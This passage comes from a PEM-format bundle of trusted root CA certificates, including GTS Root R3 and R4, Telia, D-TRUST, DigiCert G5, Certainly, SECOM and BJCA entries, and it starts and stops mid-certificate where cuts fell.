+LFjKBC4swm4VndAoiaYecb+3yXuPuWgf9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbuak7M
kogwTZq9TwtImoS1mKPV+3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscszcTJG
r61K8YzodDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RWIr9q
S34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKaG73VululycslaVNV
J1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCqgc7dGtxRcw1PcOnlthYhGXmy5okL
dWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEMBQAD
ggIBAB/Kzt3HvqGf2SdMC9wXmBFqiN495nFWcrKeGk6c1SuYJF2ba3uwM4IJvd8lRuqYnrYb/oM8
0mJhwQTtzuDFycgTE1XnqGOtjHsB/ncw4c5omwX4Eu55MaBBRTUoCnGkJE+M3DyCB19m3H0Q/gxh
swWV7uGugQ+o+MePTagjAiZrHYNSVc61LwDKgEDg4XSsYPWHgJ2uNmSRXbBoGOqKYcl3qJfEycel
/FVL8/B/uWU9J2jQzGv6U53hkRrJXRqWbTKH7QMgyALOWr7Z6v2yTcQvG99fevX4i8buMTolUVVn
jWQye+mew4K6Ki3pHrTgSAai/GevHyICc/sgCq+dVEuhzf9gR7A/Xe8bVr2XIZYtCtFenTgCR2y5
9PYjJbigapordwj6xLEokCZYCDzifqrXPW+6MYgKBesntaFJ7qBFVHvmJ2WZICGoo7z7GJa7Um8M
7YNRTOlZ4iBgxcJlkoKM8xAfDoqXvneCbT+PHV28SSe9zE8P4c52hgQjxcCMElv924SgJPFI/2R8
0L5cFtHvma3AH/vLrrw4IgYmZNralw4/KBVEqE8AyvCazM90arQ+POuV7LXTWtiBmelDGDfrs7vR
WGJB82bSj6p4lVQgw1oudCvV0b4YacCs1aTPObpRhANl6WLAYv7YTVWW4tAR+kg0Eeye7QUd5MjW
HYbL
-----END CERTIFICATE-----

GTS Root R3
===========
-----BEGIN CERTIFICATE-----
MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi
MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMw
HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ
R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjO
PQIBBgUrgQQAIgNiAAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout
736GjOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL24CejQjBA
MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTB8Sa6oC2uhYHP0/Eq
Er24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azT
L818+FsuVbu/3ZL3pAzcMeGiAjEA/JdmZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV
11RZt+cRLInUue4X
-----END CERTIFICATE-----

GTS Root R4
===========
-----BEGIN CERTIFICATE-----
MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi
MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQw
HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ
R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjO
PQIBBgUrgQQAIgNiAATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzu
hXyiQHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvRHYqjQjBA
MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSATNbrdP9JNqPV2Py1
PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/C
r8deVl5c1RxYIigL9zC2L7F8AjEA8GE8p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh
4rsUecrNIdSUtUlD
-----END CERTIFICATE-----

Telia Root CA v2
================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYT
AkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2
MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQK
DBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZI
hvcNAQEBBQADggIPADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ7
6zBqAMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9vVYiQJ3q
9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9lRdU2HhE8Qx3FZLgmEKn
pNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTODn3WhUidhOPFZPY5Q4L15POdslv5e2QJl
tI5c0BE0312/UqeBAMN/mUWZFdUXyApT7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW
5olWK8jjfN7j/4nlNW4o6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNr
RBH0pUPCTEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6WT0E
BXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63RDolUK5X6wK0dmBR4
M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZIpEYslOqodmJHixBTB0hXbOKSTbau
BcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGjYzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7W
xy+G2CQ5MB0GA1UdDgQWBBRyrOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ
8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi0f6X+J8wfBj5
tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMMA8iZGok1GTzTyVR8qPAs5m4H
eW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBSSRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+C
y748fdHif64W1lZYudogsYMVoe+KTTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygC
QMez2P2ccGrGKMOF6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15
h2Er3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMtTy3EHD70
sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pTVmBds9hCG1xLEooc6+t9
xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAWysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQ
raVplI/owd8k+BsHMYeB2F326CjYSlKArBPuUBQemMc=
-----END CERTIFICATE-----

D-TRUST BR Root CA 1 2020
=========================
-----BEGIN CERTIFICATE-----
MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE
RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0EgMSAy
MDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNV
BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAG
ByqGSM49AgEGBSuBBAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7
dPYSzuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0QVK5buXu
QqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/VbNafAkl1bK6CKBrqx9t
MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu
bmV0L2NybC9kLXRydXN0X2JyX3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj
dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP
PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD
AwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFWwKrY7RjEsK70Pvom
AjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHVdWNbFJWcHwHP2NVypw87
-----END CERTIFICATE-----

D-TRUST EV Root CA 1 2020
=========================
-----BEGIN CERTIFICATE-----
MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE
RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0EgMSAy
MDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNV
BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAG
ByqGSM49AgEGBSuBBAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8
ZRCC/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rDwpdhQntJ
raOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3OqQo5FD4pPfsazK2/umL
MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu
bmV0L2NybC9kLXRydXN0X2V2X3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj
dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP
PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD
AwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CAy/m0sRtW9XLS/BnR
AjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJbgfM0agPnIjhQW+0ZT0MW
-----END CERTIFICATE-----

DigiCert TLS ECC P384 Root G5
=============================
-----BEGIN CERTIFICATE-----
MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURpZ2lDZXJ0IFRMUyBFQ0MgUDM4
NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDkRpZ2lDZXJ0LCBJbmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQg
Um9vdCBHNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1Tzvd
lHJS7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp0zVozptj
n4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICISB4CIfBFqMA4GA1UdDwEB
/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQCJao1H5+z8blUD2Wds
Jk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQLgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIx
AJSdYsiJvRmEFOml+wG4DXZDjC5Ty3zfDBeWUA==
-----END CERTIFICATE-----

DigiCert TLS RSA4096 Root G5
============================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCPm0eKj6ftpqMzeJ3nzPijANBgkqhkiG9w0BAQwFADBNMQswCQYDVQQG
EwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0
MDk2IFJvb3QgRzUwHhcNMjEwMTE1MDAwMDAwWhcNNDYwMTE0MjM1OTU5WjBNMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0MDk2
IFJvb3QgRzUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz0PTJeRGd/fxmgefM1eS8
7IE+ajWOLrfn3q/5B03PMJ3qCQuZvWxX2hhKuHisOjmopkisLnLlvevxGs3npAOpPxG02C+JFvuU
AT27L/gTBaF4HI4o4EXgg/RZG5Wzrn4DReW+wkL+7vI8toUTmDKdFqgpwgscONyfMXdcvyej/Ces
tyu9dJsXLfKB2l2w4SMXPohKEiPQ6s+d3gMXsUJKoBZMpG2T6T867jp8nVid9E6P/DsjyG244gXa
zOvswzH016cpVIDPRFtMbzCe88zdH5RDnU1/cHAN1DrRN/BsnZvAFJNY781BOHW8EwOVfH/jXOnV
DdXifBBiqmvwPXbzP6PosMH976pXTayGpxi0KcEsDr9kvimM2AItzVwv8n/vFfQMFawKsPHTDU9q
TXeXAaDxZre3zu/O7Oyldcqs4+Fj97ihBMi8ez9dLRYiVu1ISf6nL3kwJZu6ay0/nTvEF+cdLvvy
z6b84xQslpghjLSR6Rlgg/IwKwZzUNWYOwbpx4oMYIwo+FKbbuH2TbsGJJvXKyY//SovcfXWJL5/
MZ4PbeiPT02jP/816t9JXkGPhvnxd3lLG7SjXi/7RgLQZhNeXoVPzthwiHvOAbWWl9fNff2C+MIk
wcoBOU+NosEUQB+cZtUMCUbW8tDRSHZWOkPLtgoRObqME2wGtZ7P6wIDAQABo0IwQDAdBgNVHQ4E
FgQUUTMc7TZArxfTJc1paPKvTiM+s0EwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8w
DQYJKoZIhvcNAQEMBQADggIBAGCmr1tfV9qJ20tQqcQjNSH/0GEwhJG3PxDPJY7Jv0Y02cEhJhxw
GXIeo8mH/qlDZJY6yFMECrZBu8RHANmfGBg7sg7zNOok992vIGCukihfNudd5N7HPNtQOa27PShN
lnx2xlv0wdsUpasZYgcYQF+Xkdycx6u1UQ3maVNVzDl92sURVXLFO4uJ+DQtpBflF+aZfTCIITfN
MBc9uPK8qHWgQ9w+iUuQrm0D4ByjoJYJu32jtyoQREtGBzRj7TG5BO6jm5qu5jF49OokYTurWGT/
u4cnYiWB39yhL/btp/96j1EuMPikAdKFOV8BmZZvWltwGUb+hmA+rYAQCd05JS9Yf7vSdPD3Rh9G
OUrYU9DzLjtxpdRv/PNn5AeP3SYZ4Y1b+qOTEZvpyDrDVWiakuFSdjjo4bq9+0/V77PnSIMx8IIh
47a+p6tv75/fTM8BuGJqIz3nCU2AG3swpMPdB380vqQmsvZB6Akd4yCYqjdP//fx4ilwMUc/dNAU
FvohigLVigmUdy7yWSiLfFCSCmZ4OIN1xLVaqBHG5cGdZlXPU8Sv13WFqUITVuwhd4GTWgzqltlJ
yqEI8pc7bZsEGCREjnwB8twl2F6GmrE52/WRMmrRpnCKovfepEWFJqgejF0pW8hL2JpqA15w8oVP
bEtoL8pU9ozaMv7Da4M/OMZ+
-----END CERTIFICATE-----

Certainly Root R1
=================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAwPTELMAkGA1UE
BhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2VydGFpbmx5IFJvb3QgUjEwHhcN
MjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2Vy
dGFpbmx5MRowGAYDVQQDExFDZXJ0YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBANA21B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O
5MQTvqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbedaFySpvXl
8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b01C7jcvk2xusVtyWMOvwl
DbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGI
XsXwClTNSaa/ApzSRKft43jvRl5tcdF5cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkN
KPl6I7ENPT2a/Z2B7yyQwHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQ
AjeZjOVJ6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA2Cnb
rlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyHWyf5QBGenDPBt+U1
VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMReiFPCyEQtkA6qyI6BJyLm4SGcprS
p6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
DgQWBBTgqj8ljZ9EXME66C6ud0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAsz
HQNTVfSVcOQrPbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d
8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi1wrykXprOQ4v
MMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrdrRT90+7iIgXr0PK3aBLXWopB
GsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9ditaY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+
gjwN/KUD+nsa2UUeYNrEjvn8K8l7lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgH
JBu6haEaBQmAupVjyTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7
fpYnKx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLyyCwzk5Iw
x06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5nwXARPbv0+Em34yaXOp/S
X3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6OV+KmalBWQewLK8=
-----END CERTIFICATE-----

Certainly Root E1
=================
-----BEGIN CERTIFICATE-----
MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQswCQYDVQQGEwJV
UzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlubHkgUm9vdCBFMTAeFw0yMTA0
MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlu
bHkxGjAYBgNVBAMTEUNlcnRhaW5seSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4
fxzf7flHh4axpMCK+IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9
YBk2QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4hevIIgcwCgYIKoZIzj0E
AwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozmut6Dacpps6kFtZaSF4fC0urQe87YQVt8
rgIwRt7qy12a7DLCZRawTDBcMPPaTnOGBtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR
-----END CERTIFICATE-----

Security Communication ECC RootCA1
==================================
-----BEGIN CERTIFICATE-----
MIICODCCAb6gAwIBAgIJANZdm7N4gS7rMAoGCCqGSM49BAMDMGExCzAJBgNVBAYTAkpQMSUwIwYD
VQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMSswKQYDVQQDEyJTZWN1cml0eSBDb21t
dW5pY2F0aW9uIEVDQyBSb290Q0ExMB4XDTE2MDYxNjA1MTUyOFoXDTM4MDExODA1MTUyOFowYTEL
MAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKzApBgNV
BAMTIlNlY3VyaXR5IENvbW11bmljYXRpb24gRUNDIFJvb3RDQTEwdjAQBgcqhkjOPQIBBgUrgQQA
IgNiAASkpW9gAwPDvTH00xecK4R1rOX9PVdu12O/5gSJko6BnOPpR27KkBLIE+CnnfdldB9sELLo
5OnvbYUymUSxXv3MdhDYW72ixvnWQuRXdtyQwjWpS4g8EkdtXP9JTxpKULGjQjBAMB0GA1UdDgQW
BBSGHOf+LaVKiwj+KBH6vqNm+GBZLzAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAK
BggqhkjOPQQDAwNoADBlAjAVXUI9/Lbu9zuxNuie9sRGKEkz0FhDKmMpzE2xtHqiuQ04pV1IKv3L
snNdo4gIxwwCMQDAqy0Obe0YottT6SXbVQjgUMzfRGEWgqtJsLKB7HOHeLRMsmIbEvoWTSVLY70e
N9k=
-----END CERTIFICATE-----

BJCA Global Root CA1
====================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIQVW9l47TZkGobCdFsPsBsIDANBgkqhkiG9w0BAQsFADBUMQswCQYDVQQG
EwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJVFkxHTAbBgNVBAMMFEJK
Q0EgR2xvYmFsIFJvb3QgQ0ExMB4XDTE5MTIxOTAzMTYxN1oXDTQ0MTIxMjAzMTYxN1owVDELMAkG
A1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQD
DBRCSkNBIEdsb2JhbCBSb290IENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPFm
CL3ZxRVhy4QEQaVpN3cdwbB7+sN3SJATcmTRuHyQNZ0YeYjjlwE8R4HyDqKYDZ4/N+AZspDyRhyS
sTphzvq3Rp4Dhtczbu33RYx2N95ulpH3134rhxfVizXuhJFyV9xgw8O558dnJCNPYwpj9mZ9S1Wn
P3hkSWkSl+BMDdMJoDIwOvqfwPKcxRIqLhy1BDPapDgRat7GGPZHOiJBhyL8xIkoVNiMpTAK+BcW
yqw3/XmnkRd4OJmtWO2y3syJfQOcs4ll5+M7sSKGjwZteAf9kRJ/sGsciQ35uMt0WwfCyPQ10WRj
eulumijWML3mG90Vr4TqnMfK9Q7q8l0ph49pczm+LiRvRSGsxdRpJQaDrXpIhRMsDQa4bHlW/KNn
MoH1V6XKV0Jp6VwkYe/iMBhORJhVb3rCk9gZtt58R4oRTklH2yiUAguUSiz5EtBP6DF+bHq/pj+b
OT0CFqMYs2esWz8sgytnOYFcuX6U1WTdno9uruh8W7TXakdI136z1C2OVnZOz2nxbkRs1CTqjSSh
GL+9V/6pmTW12xB3uD1IutbB5/EjPtffhZ0nPNRAvQoMvfXnjSXWgXSHRtQpdaJCbPdzied9v3pK
H9MiyRVVz99vfFXQpIsHETdfg6YmV6YBW37+WGgHqel62bno/1Afq8K0wM7o6v0PvY1NuLxxAgMB
AAGjQjBAMB0GA1UdDgQWBBTF7+3M2I0hxkjk49cULqcWk+WYATAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAUoKsITQfI/Ki2Pm4rzc2IInRNwPWaZ+4
YRC6ojGYWUfo0Q0lHhVBDOAqVdVXUsv45Mdpox1NcQJeXyFFYEhcCY5JEMEE3KliawLwQ8hOnThJ
dMkycFRtwUf8jrQ2ntScvd0g1lPJGKm1Vrl2i5VnZu69mP6u775u+2D2/VnGKhs/I0qUJDAnyIm8
60Qkmss9vk/Ves6OF8tiwdneHg56/0OGNFK8YT88X7vZdrRTvJez/opMEi4r89fO4aL/3Xtw+zuh
TaRjAv04l5U/BXCga99igUOLtFkNSoxUnMW7gZ/NfaXvCyUeOiDbHPwfmGcCCtRzRBPbUYQaVQNW
4AB+dAb/OMRyHdOoP2gxXdMJxy6MW2Pg6Nwe0uxhHvLe5e/2mXZgLR6UcnHGCyoyx5JO1UbXHfmp
GQrI+pXObSOYqgs4rZpWDW+N8TEAiMEXnM0ZNjX+VVOg4DwzX5Ze4jLp3zO7Bkqp2IRzznfSxqxx
4VyjHQy7Ct9f4qNx2No3WqB4K/TUfet27fJhcKVlmtOJNBir+3I+17Q9eVzYH6Eze9mCUAyTF6ps
3MKCuwJXNq+YJyo5UOGwifUll35HaBC07HPKs5fRJNz2YqAo07WjuGS3iGJCz51TzZm+ZGiPTx4S
SPfSKcOYKMryMguTjClPPGAyzQWWYezyr/6zcCwupvI=
-----END CERTIFICATE-----

BJCA Global Root CA2
====================
-----BEGIN CERTIFICATE-----
MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQswCQYDVQQGEwJD
TjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJVFkxHTAbBgNVBAMMFEJKQ0Eg
R2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgyMVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UE
BhMCQ04xJjAkBgNVBAoMHUJFSUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRC
SkNBIEdsb2JhbCBSb290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jl
SR9BIgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK++kpRuDCK
/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJKsVF/BvDRgh9Obl+rg/xI
1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8
W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8g
UXOQwKhbYdDFUDn9hf7B43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w==
